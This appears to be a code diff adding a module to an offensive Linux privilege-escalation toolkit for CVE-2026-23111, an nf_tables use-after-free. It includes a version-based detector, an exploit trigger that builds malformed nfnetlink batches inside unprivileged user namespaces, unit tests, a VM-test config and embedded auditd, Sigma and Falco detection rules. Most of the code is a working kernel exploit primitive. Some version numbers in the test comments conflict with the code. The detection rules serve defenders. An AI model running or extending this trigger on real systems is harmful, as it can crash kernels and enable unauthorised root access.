* the trigger itself is reconstructed from the public analysis rather
* than VM-verified. It never claims root it did not get.
*
* Affected range (Debian-tracked stable backports of the fix):
* 6.1.x : K >= 6.1.164 (bookworm)
* 6.12.x : K >= 6.12.73 (trixie)
* 6.18.x : K >= 6.18.10 (forky / sid); 7.0+ inherits the fix
* The 5.10 (bullseye) branch is still unfixed as of writing → version-
* only VULNERABLE. Catch-all set elements were added in ~5.13, so the
* vulnerable nft_map_catchall_activate path does not exist below that.
*
* Preconditions: CONFIG_NF_TABLES + CONFIG_USER_NS, and unprivileged
* user-namespace clone permitted (modern Ubuntu's
* apparmor_restrict_unprivileged_userns / a 0 sysctl closes this).
*
* arch_support: x86_64 (the groom + any future finisher are x86_64-tuned).
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nf_tables.h>
#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */
/* Catch-all set-element flag — may be absent from older uapi headers. */
#ifndef NFT_SET_ELEM_CATCHALL
#define NFT_SET_ELEM_CATCHALL 0x2
#endif
/* ------------------------------------------------------------------
* Kernel-range table. Upstream-stable thresholds (<= the Debian
* package fixes, so the drift checker reports INFO, never TOO_TIGHT).
* security-tracker.debian.org is the source of record.
* ------------------------------------------------------------------ */
static const struct kernel_patched_from nft_catchall_patched_branches[] = {
{6, 1, 164}, /* 6.1.x (Debian bookworm fixed_version 6.1.164) */
{6, 12, 73}, /* 6.12.x (Debian trixie fixed_version 6.12.73) */
{6, 18, 10}, /* 6.18.x (Debian forky / sid fixed_version 6.18.10) */
/* 7.0+ inherits "patched" via the strictly-newer-than-all-entries
* rule — the fix predates the 7.0 branch. */
};
static const struct kernel_range nft_catchall_range = {
.patched_from = nft_catchall_patched_branches,
.n_patched_from = sizeof(nft_catchall_patched_branches) /
sizeof(nft_catchall_patched_branches[0]),
};
static bool nf_tables_loaded(void)
{
FILE *f = fopen("/proc/modules", "r");
if (!f) return false;
char line[512];
bool found = false;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; }
}
fclose(f);
return found;
}
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] nft_catchall: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Catch-all set elements (and nft_map_catchall_activate) arrived in
* ~5.13. Below that the vulnerable path does not exist. */
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) {
if (!ctx->json)
fprintf(stderr, "[i] nft_catchall: kernel %s predates catch-all set "
"elements (~5.13) — vulnerable path absent\n",
v->release);
return SKELETONKEY_OK;
}
if (kernel_range_is_patched(&nft_catchall_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] nft_catchall: kernel %s is patched\n", v->release);
return SKELETONKEY_OK;
}
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
if (!ctx->json) {
fprintf(stderr, "[i] nft_catchall: kernel %s in vulnerable range\n",
v->release);
fprintf(stderr, "[i] nft_catchall: unprivileged user_ns clone: %s\n",
userns_ok ? "ALLOWED" : "DENIED");
fprintf(stderr, "[i] nft_catchall: nf_tables module loaded: %s\n",
nf_tables_loaded() ? "yes" : "no (autoloads on first nft use)");
}
if (!userns_ok) {
if (!ctx->json) {
fprintf(stderr, "[+] nft_catchall: kernel vulnerable but unprivileged "
"user_ns clone denied → unprivileged exploit "
"unreachable\n");
fprintf(stderr, "[i] nft_catchall: still patch — a privileged "
"attacker can trigger the abort-path UAF\n");
}
return SKELETONKEY_PRECOND_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[!] nft_catchall: VULNERABLE — kernel in range AND "
"unprivileged user_ns clone allowed\n");
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
* userns+netns entry: gain CAP_NET_ADMIN over a private netns so the
* malformed ruleset only touches our own namespace.
* ------------------------------------------------------------------ */
static int enter_unpriv_namespaces(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("[-] unshare(USER|NET)");
return -1;
}
int f = open("/proc/self/setgroups", O_WRONLY);
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char map[64];
snprintf(map, sizeof map, "0 %u 1\n", uid);
f = open("/proc/self/uid_map", O_WRONLY);
if (f < 0 || write(f, map, strlen(map)) < 0) {
perror("[-] uid_map"); if (f >= 0) close(f); return -1;
}
close(f);
snprintf(map, sizeof map, "0 %u 1\n", gid);
f = open("/proc/self/gid_map", O_WRONLY);
if (f < 0 || write(f, map, strlen(map)) < 0) {
perror("[-] gid_map"); if (f >= 0) close(f); return -1;
}
close(f);
return 0;
}
/* ------------------------------------------------------------------
* Minimal dep-free nfnetlink batch builder (same approach as the
* nf_tables module — libnftnl validates our malformed input away).
* ------------------------------------------------------------------ */
#define ALIGN_NL(x) (((x) + 3) & ~3)
static void put_attr(uint8_t *buf, size_t *off, uint16_t type,
const void *data, size_t len)
{
struct nlattr *na = (struct nlattr *)(buf + *off);
na->nla_type = type;
na->nla_len = NLA_HDRLEN + len;
if (len) memcpy(buf + *off + NLA_HDRLEN, data, len);
*off += ALIGN_NL(NLA_HDRLEN + len);
}
static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v)
{
uint32_t be = htonl(v);
put_attr(buf, off, type, &be, sizeof be);
}
static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s)
{
put_attr(buf, off, type, s, strlen(s) + 1);
}
static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type)
{
size_t at = *off;
struct nlattr *na = (struct nlattr *)(buf + at);
na->nla_type = type | NLA_F_NESTED;
na->nla_len = 0;
*off += NLA_HDRLEN;
return at;
}
static void end_nest(uint8_t *buf, size_t *off, size_t at)
{
struct nlattr *na = (struct nlattr *)(buf + at);
na->nla_len = (uint16_t)(*off - at);
while ((*off) & 3) buf[(*off)++] = 0;
}
struct nfgenmsg_local { uint8_t nfgen_family; uint8_t version; uint16_t res_id; };
static void put_nft_msg(uint8_t *buf, size_t *off, uint16_t nft_type,
uint16_t flags, uint32_t seq, uint8_t family)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off);
nlh->nlmsg_len = 0;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | nft_type;
nlh->nlmsg_flags = NLM_F_REQUEST | flags;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
*off += NLMSG_HDRLEN;
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
nf->nfgen_family = family;
nf->version = NFNETLINK_V0;
nf->res_id = htons(0);
*off += sizeof(*nf);
}
static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
{
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start);
nlh->nlmsg_len = (uint32_t)(*off - msg_start);
while ((*off) & 3) buf[(*off)++] = 0;
}
static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq)
{
size_t at = *off;
struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at);
nlh->nlmsg_len = 0;
nlh->nlmsg_type = type;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
*off += NLMSG_HDRLEN;
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
nf->nfgen_family = AF_UNSPEC;
nf->version = NFNETLINK_V0;
nf->res_id = htons(NFNL_SUBSYS_NFTABLES);
*off += sizeof(*nf);
end_msg(buf, off, at);
}
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
static const char NFT_CHAIN_NAME[] = "skeletonkey_goto"; /* GOTO target chain */
static const char NFT_MAP_NAME[] = "skeletonkey_map";
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME);
end_msg(buf, off, at);
}
/* A regular (non-base) chain that the catch-all GOTO verdict references.
* Once the catch-all element is wrongly (de)activated on abort, this
* chain's use-count is mishandled and it can be freed while referenced. */
static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_CHAIN_NAME, NFT_CHAIN_NAME);
end_msg(buf, off, at);
}
/* A verdict map (NFT_SET_MAP) whose data type is a verdict, so its
* elements (including the catch-all) carry GOTO/JUMP verdicts. */
static void put_new_map(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWSET, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_SET_NAME, NFT_MAP_NAME);
put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_MAP);
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 13); /* ipv4_addr-ish */
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00); /* "verdict" magic */
put_attr_u32(buf, off, NFTA_SET_DATA_LEN, sizeof(uint32_t));
put_attr_u32(buf, off, NFTA_SET_ID, 0x2026);
end_msg(buf, off, at);
}
/* Catch-all element (NFT_SET_ELEM_CATCHALL) whose data is a GOTO verdict
* to NFT_CHAIN_NAME. This is the element nft_map_catchall_activate
* mishandles on abort. */
static void put_catchall_goto(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, NFT_MAP_NAME);
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
size_t el_at = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */);
/* catch-all: no key, just the CATCHALL flag */
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
/* data = GOTO verdict referencing our chain by name */
size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA);
size_t v_at = begin_nest(buf, off, NFTA_DATA_VERDICT);
put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO);
put_attr_str(buf, off, NFTA_VERDICT_CHAIN, NFT_CHAIN_NAME);
end_nest(buf, off, v_at);
end_nest(buf, off, data_at);
end_nest(buf, off, el_at);
end_nest(buf, off, list_at);
end_msg(buf, off, at);
}
/* A deliberately-invalid message: references a set that does not exist,
* so the kernel rejects it and ABORTS the whole batch transaction —
* running the buggy nft_map_catchall_activate over the active catch-all
* element we just created. */
static void put_aborting_op(uint8_t *buf, size_t *off, uint32_t seq)
{
size_t at = *off;
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, "skeletonkey_nonexistent");
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
size_t el_at = begin_nest(buf, off, 1);
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
end_nest(buf, off, el_at);
end_nest(buf, off, list_at);
end_msg(buf, off, at);
}
static int nft_send_batch(int sock, const void *buf, size_t len)
{
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
struct msghdr m = {
.msg_name = &dst, .msg_namelen = sizeof dst,
.msg_iov = &iov, .msg_iovlen = 1,
};
if (sendmsg(sock, &m, 0) < 0) { perror("[-] sendmsg"); return -1; }
char rbuf[8192];
for (int i = 0; i < 8; i++) {
ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT);
if (r <= 0) break;
}
return 0;
}
static long slabinfo_active(const char *slab)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, slab, strlen(slab)) == 0 && line[strlen(slab)] == ' ') {
long a;
if (sscanf(line + strlen(slab), " %ld", &a) == 1) active = a;
break;
}
}
fclose(f);
return active;
}
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
{
skeletonkey_result_t pre = nft_catchall_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] nft_catchall: detect() says not vulnerable; refusing\n");
return pre;
}
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] nft_catchall: already running as root\n");
return SKELETONKEY_OK;
}
if (!ctx->json)
fprintf(stderr, "[*] nft_catchall: primitive-only run — builds a map with a "
"catch-all GOTO element and provokes an aborting batch to "
"drive the nft_map_catchall_activate UAF, then stops. The "
"per-kernel leak + R/W + ROP root-pop is NOT bundled.\n");
/* Fork-isolated: a KASAN-enabled vulnerable kernel will panic on the
* double-handling; isolating means the dispatcher survives. */
pid_t child = fork();
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
if (child == 0) {
if (enter_unpriv_namespaces() < 0) _exit(20);
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); }
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
perror("[-] bind"); close(sock); _exit(22);
}
int rcvbuf = 1 << 20;
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
uint8_t *batch = calloc(1, 16 * 1024);
if (!batch) { close(sock); _exit(23); }
uint32_t seq = (uint32_t)time(NULL);
/* Batch 1 (commits): table + GOTO-target chain + verdict map +
* catch-all GOTO element. */
size_t off = 0;
put_batch_marker(batch, &off, NFNL_MSG_BATCH_BEGIN, seq++);
put_new_table(batch, &off, seq++);
put_new_chain(batch, &off, seq++);
put_new_map(batch, &off, seq++);
put_catchall_goto(batch, &off, seq++);
put_batch_marker(batch, &off, NFNL_MSG_BATCH_END, seq++);
if (!ctx->json)
fprintf(stderr, "[*] nft_catchall: sending setup batch (%zu bytes)\n", off);
if (nft_send_batch(sock, batch, off) < 0) {
free(batch); close(sock); _exit(24);
}
long before = slabinfo_active("nft_chain");
if (before < 0) before = slabinfo_active("kmalloc-cg-256");
/* Batch 2 (aborts): a valid DELCHAIN-ish operation alongside an
* invalid op so the whole transaction rolls back, running
* nft_map_catchall_activate over the active catch-all element. */
size_t off2 = 0;
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_BEGIN, seq++);
put_catchall_goto(batch, &off2, seq++); /* re-touch the catch-all elem */
put_aborting_op(batch, &off2, seq++); /* invalid → abort the batch */
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_END, seq++);
if (!ctx->json)
fprintf(stderr, "[*] nft_catchall: firing aborting batch (%zu bytes)\n", off2);
nft_send_batch(sock, batch, off2);
usleep(50 * 1000);
long after = slabinfo_active("nft_chain");
if (after < 0) after = slabinfo_active("kmalloc-cg-256");
if (!ctx->json)
fprintf(stderr, "[i] nft_catchall: nft_chain/cg-256 active: %ld → %ld\n",
before, after);
free(batch);
close(sock);
_exit(100); /* honest: trigger attempted, R/W not completed */
}
int status;
waitpid(child, &status, 0);
if (!WIFEXITED(status)) {
if (!ctx->json)
fprintf(stderr, "[!] nft_catchall: child died by signal %d — the "
"abort-path UAF likely fired (KASAN oops can manifest "
"as a child signal)\n", WTERMSIG(status));
return SKELETONKEY_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 100) {
if (!ctx->json) {
fprintf(stderr, "[!] nft_catchall: abort-path trigger attempted "
"(catch-all GOTO map + aborting batch). The full kernel "
"R/W + modprobe_path ROP is NOT bundled, and this "
"trigger is reconstructed from public analysis, not "
"VM-verified — honest EXPLOIT_FAIL.\n");
fprintf(stderr, "[i] nft_catchall: to complete: port the FuzzingLabs / "
"public PoC leak + cross-cache groom + modprobe_path "
"overwrite for CVE-2026-23111.\n");
}
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json)
fprintf(stderr, "[-] nft_catchall: trigger setup failed (child rc=%d)\n", rc);
return SKELETONKEY_EXPLOIT_FAIL;
}
#else /* !__linux__ */
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] nft_catchall: Linux-only module "
"(nf_tables catch-all abort UAF via nfnetlink) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] nft_catchall: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
#endif /* __linux__ */
/* ----- Embedded detection rules ----- */
static const char nft_catchall_auditd[] =
"# nf_tables catch-all abort UAF (CVE-2026-23111) — auditd rules\n"
"# Canonical shape: unprivileged unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
"# then nfnetlink batches building a verdict map with a catch-all\n"
"# GOTO element and an aborting transaction. Legit userns+nft (docker\n"
"# rootless, firewalld) will also trip — tune per environment.\n"
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-nft-catchall\n"
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-catchall-priv\n";
static const char nft_catchall_sigma[] =
"title: Possible CVE-2026-23111 nf_tables catch-all abort UAF\n"
"id: 3e8a1c47-skeletonkey-nft-catchall\n"
"status: experimental\n"
"description: |\n"
" Detects an unprivileged user creating a user namespace then driving\n"
" nftables. CVE-2026-23111 abuses an inverted condition in\n"
" nft_map_catchall_activate on transaction abort to UAF a chain still\n"
" referenced by a catch-all GOTO verdict. False positives: rootless\n"
" containers / firewalld using userns + nft. A previously-unprivileged\n"
" process gaining euid 0 is the smoking gun.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" userns: {type: 'SYSCALL', syscall: 'unshare', a0: 0x10000000}\n"
" uid0: {type: 'SYSCALL', syscall: 'setresuid', auid|expression: '!= 0'}\n"
" condition: userns and uid0\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.23111]\n";
static const char nft_catchall_falco[] =
"- rule: nf_tables catch-all abort UAF batch by non-root (CVE-2026-23111)\n"
" desc: |\n"
" Non-root sendmsg on NETLINK_NETFILTER inside a user namespace,\n"
" delivering nfnetlink batches that build a verdict map with a\n"
" catch-all GOTO element and then abort a transaction. CVE-2026-23111\n"
" nft_map_catchall_activate use-after-free. False positives: rootless\n"
" container / firewall tooling.\n"
" condition: >\n"
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and not user.uid = 0\n"
" output: >\n"
" nfnetlink batch from non-root (possible CVE-2026-23111 catch-all UAF)\n"
" (user=%user.name pid=%proc.pid)\n"
" priority: HIGH\n"
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.23111]\n";
const struct skeletonkey_module nft_catchall_module = {
.name = "nft_catchall",
.cve = "CVE-2026-23111",
.summary = "nf_tables nft_map_catchall_activate abort-path UAF (inverted condition) → chain UAF via catch-all GOTO map",
.family = "nf_tables",
.kernel_range = "5.13 <= K (catch-all elems); fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of commit f41c5d1); 7.0+ inherits; 5.10 branch still unfixed",
.detect = nft_catchall_detect,
.exploit = nft_catchall_exploit,
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.unprivileged_userns_clone=0 */
.cleanup = NULL, /* trigger runs in a throwaway userns+netns; no host artifacts */
.detect_auditd = nft_catchall_auditd,
.detect_sigma = nft_catchall_sigma,
.detect_yara = NULL, /* behavioural (syscall/netlink) bug — no file artifact */
.detect_falco = nft_catchall_falco,
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 6.1.164/6.12.73/6.18.10) and additionally requires unprivileged user_ns clone — a vulnerable kernel with userns locked down (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that enters unshare(CLONE_NEWUSER|CLONE_NEWNET), opens NETLINK_NETFILTER, builds a verdict map (NFT_SET_MAP) with a catch-all element (NFT_SET_ELEM_CATCHALL) carrying a GOTO verdict to a chain, then sends an aborting batch to drive nft_map_catchall_activate over the active catch-all element; it observes nft_chain/kmalloc-cg-256 slabinfo and returns EXPLOIT_FAIL (primitive-only; reconstructed trigger, not VM-verified). The per-kernel leak + arbitrary-R/W + modprobe_path ROP is NOT bundled. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches; KASAN double-free oops on vulnerable kernels, silent otherwise. No persistent files (throwaway namespaces).",
.arch_support = "x86_64",
};
void skeletonkey_register_nft_catchall(void)
{
skeletonkey_register(&nft_catchall_module);
}
@@ -0,0 +1,12 @@
/*
* nft_catchall_cve_2026_23111 — SKELETONKEY module registry hook
*/
#ifndef NFT_CATCHALL_SKELETONKEY_MODULES_H
#define NFT_CATCHALL_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module nft_catchall_module;
#endif
+2 -1
View File
@@ -35,7 +35,7 @@
#include <string.h>
#include <unistd.h>
#define SKELETONKEY_VERSION "0.9.10"
#define SKELETONKEY_VERSION "0.9.11"
static const char BANNER[] =
"\n"
@@ -1018,6 +1018,7 @@ static int module_safety_rank(const char *n)
if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */
if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */
if (!strcmp(n, "stackrot")) return 15; /* very low win% */
if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */
+49
View File
@@ -71,6 +71,7 @@ extern const struct skeletonkey_module nft_pipapo_module;
extern const struct skeletonkey_module ptrace_pidfd_module;
extern const struct skeletonkey_module sudo_host_module;
extern const struct skeletonkey_module cifswitch_module;
extern const struct skeletonkey_module nft_catchall_module;
static int g_pass = 0;
static int g_fail = 0;
@@ -842,6 +843,54 @@ static void run_all(void)
SKELETONKEY_PRECOND_FAIL);
unsetenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
/* ── nft_catchall (CVE-2026-23111) ───────────────────────────
* Version-gated: predates-gate at catch-all set elements (~5.13),
* then Debian backports 6.1.164 / 6.12.71 / 7.0.10, PLUS unprivileged
* user_ns clone required (else PRECOND_FAIL). h_kernel_6_12 allows
* userns; h_kernel_5_14_no_userns denies it. */
/* 5.12.50 predates catch-all set elements (~5.13) → OK */
struct skeletonkey_host h_nca_512 =
mk_host(h_kernel_6_12, 5, 12, 50, "5.12.50-test");
run_one("nft_catchall: 5.12.50 predates catch-all (~5.13) → OK",
&nft_catchall_module, &h_nca_512,
SKELETONKEY_OK);
/* 6.1.164 exact backport → OK via patch table */
struct skeletonkey_host h_nca_61164 =
mk_host(h_kernel_6_12, 6, 1, 164, "6.1.164-test");
run_one("nft_catchall: 6.1.164 (exact backport) → OK via patch table",
&nft_catchall_module, &h_nca_61164,
SKELETONKEY_OK);
/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
struct skeletonkey_host h_nca_710 =
mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
run_one("nft_catchall: 7.1.0 above all backports → OK (mainline inherit)",
&nft_catchall_module, &h_nca_710,
SKELETONKEY_OK);
/* 6.1.163 (one below the 6.1.164 backport) + userns → VULNERABLE */
struct skeletonkey_host h_nca_61163 =
mk_host(h_kernel_6_12, 6, 1, 163, "6.1.163-test");
run_one("nft_catchall: 6.1.163 + userns allowed → VULNERABLE",
&nft_catchall_module, &h_nca_61163,
SKELETONKEY_VULNERABLE);
/* 6.12.70 (one below the 6.12.71 backport) + userns → VULNERABLE */
struct skeletonkey_host h_nca_61270 =
mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test");
run_one("nft_catchall: 6.12.70 + userns allowed → VULNERABLE",
&nft_catchall_module, &h_nca_61270,
SKELETONKEY_VULNERABLE);
/* same vulnerable kernel but unprivileged userns denied → PRECOND_FAIL */
struct skeletonkey_host h_nca_nouserns =
mk_host(h_kernel_5_14_no_userns, 6, 1, 163, "6.1.163-nouserns-test");
run_one("nft_catchall: 6.1.163 but userns denied → PRECOND_FAIL",
&nft_catchall_module, &h_nca_nouserns,
SKELETONKEY_PRECOND_FAIL);
/* ── coverage report ─────────────────────────────────────────
* Iterate the runtime registry (populated by skeletonkey_register_*
* calls in main()) and warn for any module that was not touched
+10
View File
@@ -314,3 +314,13 @@ cifswitch:
verified: partial # detect() + add_key primitive confirmed; full root-pop + patched-kernel discriminator pending
verified_on: "2026-06-08 — Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic, QEMU/HVF (x86_64)"
notes: "CVE-2026-46243 'CIFSwitch'; cifs.spnego key type trusts userspace-forged authority fields (Asim Manizada, 2026-05-28). Fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); a ~19-year-old bug below those. PARTIALLY VM-VERIFIED 2026-06-08 on Ubuntu 24.04.4 / 6.8.0-117 (QEMU/HVF): (1) `modprobe cifs` registers the cifs.spnego key type (dmesg 'Key type cifs.spnego registered') — cifs-utils not required to reach the primitive; (2) an INDEPENDENT python ctypes add_key('cifs.spnego', forged uid/creduid/upcall_target) was ACCEPTED (serial 374940108; a `user`-key control also accepted), and the module's own exploit() reported 'primitive CONFIRMED' (serial 294765294) then honest EXPLOIT_FAIL; (3) detect() correctly returned PRECOND_FAIL with cifs-utils absent, and VULNERABLE under SKELETONKEY_CIFS_ASSUME_PRESENT=1. STILL PENDING: (a) a PATCHED kernel (>=6.12.90 / 7.0.10) to prove add_key is REJECTED there (i.e. that the probe discriminates fixed-from-vulnerable, not merely that the key type always allows userspace creation), and (b) the full user+mount-namespace + malicious-NSS root-pop, which is not bundled. Reproduce via tools/verify-vm or the QEMU offline harness used on 2026-06-08 (cloud image + payload iso, no guest networking needed)."
# ── nft_catchall (CVE-2026-23111) addition ──────────────────────────
nft_catchall:
box: ubuntu2204
kernel_pkg: ""
mainline_version: "6.1.163" # one below the 6.1.164 backport; userns required
kernel_version: "6.1.163"
expect_detect: VULNERABLE
notes: "CVE-2026-23111; nf_tables nft_map_catchall_activate abort-path UAF (inverted '!'). Public reproduction by FuzzingLabs; fixed upstream f41c5d1, Debian backports 6.1.164 (bookworm) / 6.12.73 (trixie) / 6.18.10 (sid); 5.10/bullseye still unfixed. detect() version-gates (catch-all set elements ~5.13; thresholds 6.1.164/6.12.73/6.18.10) AND requires unprivileged user_ns clone — a vulnerable kernel with userns locked (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes nft_chain/cg-256 slabinfo, returns EXPLOIT_FAIL (primitive-only). The per-kernel leak + R/W + modprobe_path ROP is NOT bundled, and the trigger is RECONSTRUCTED from public analysis — NOT yet VM-verified. Provisioner: ensure unprivileged userns enabled (sysctl kernel.unprivileged_userns_clone=1 / drop apparmor restriction). A KASAN kernel will oops on a real fire; sweep + trigger validation pending."